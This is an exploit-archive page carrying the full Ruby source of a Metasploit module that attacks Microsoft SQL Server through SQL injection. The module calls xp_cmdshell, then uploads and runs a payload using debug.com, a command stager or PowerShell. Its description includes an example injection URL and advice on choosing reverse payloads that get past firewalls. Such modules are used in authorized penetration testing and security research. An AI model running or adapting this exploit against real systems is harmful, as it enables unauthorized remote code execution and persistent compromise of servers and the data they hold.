what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SQL Server Payload Execution via SQL injection

Microsoft SQL Server Payload Execution via SQL injection
Posted Jan 29, 2011
Authored by Rodrigo Marcos, David Kennedy, jduck | Site metasploit.com

This Metasploit module will execute an arbitrary payload on a Microsoft SQL Server, using a SQL injection vulnerability. Once a vulnerability is identified this module will use xp_cmdshell to upload and execute Metasploit payloads. It is necessary to specify the exact point where the SQL injection vulnerability happens.

tags | exploit, arbitrary, sql injection
advisories | CVE-2000-0402, CVE-2000-1209, OSVDB-15757
SHA-256 | 5c71a8e0d959c8b1f43ce27c1cfb87641e1abf71b42047e2636fd0256601f31a

Microsoft SQL Server Payload Execution via SQL injection

Change Mirror Download
##
# $Id: mssql_payload.rb 11392 2010-12-21 20:36:34Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution via SQL injection',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using a SQL injection vulnerability.

Once a vulnerability is identified this module
will use xp_cmdshell to upload and execute Metasploit payloads.
It is necessary to specify the exact point where the SQL injection
vulnerability happens. For example, given the following injection:

http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical

you would need to set the following path:
set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar

In regard to the payload, unless there is a closed port in the web server,
you dont want to use any "bind" payload, specially on port 80, as you will
stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
your port 80 or to any other outbound port allowed on the firewall.
For privileged ports execute Metasploit msfconsole as root.

Currently, three delivery methods are supported.

First, the original method uses Windows 'debug.com'. File size restrictions are
avoidied by incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.

A second method takes advantage of the Command Stager subsystem. This allows using
various techniques, such as using a TFTP server, to send the executable. By default
the Command Stager uses 'wcsript.exe' to generate the executable on the target.

Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
payload on the target.

NOTE: This module will leave a payload executable on the target system when the
attack is finished.

},
'Author' =>
[
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
'jduck', # command stager mods
'Rodrigo Marcos' # SQL injection mods
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11392 $',
'References' =>
[
# 'sa' password in logs
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'BID', '1281' ],

# blank default 'sa' password
[ 'CVE', '2000-1209' ],
[ 'OSVDB', '15757' ],
[ 'BID', '4797' ],

# code and comments
[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]

],
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])
])
end

# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end

def exploit

method = datastore['DELIVERY'].downcase

if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe

# Use powershell method for payload delivery if specified
if (method =~ /^ps/) or (method =~ /^power/)
powershell_upload_exec(exe)
else
# Otherwise, fall back to the old way..
mssql_upload_exec(exe, datastore['VERBOSE'])
end
end
print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
select(nil,nil,nil,50)
handler
disconnect
end


end

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    0 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close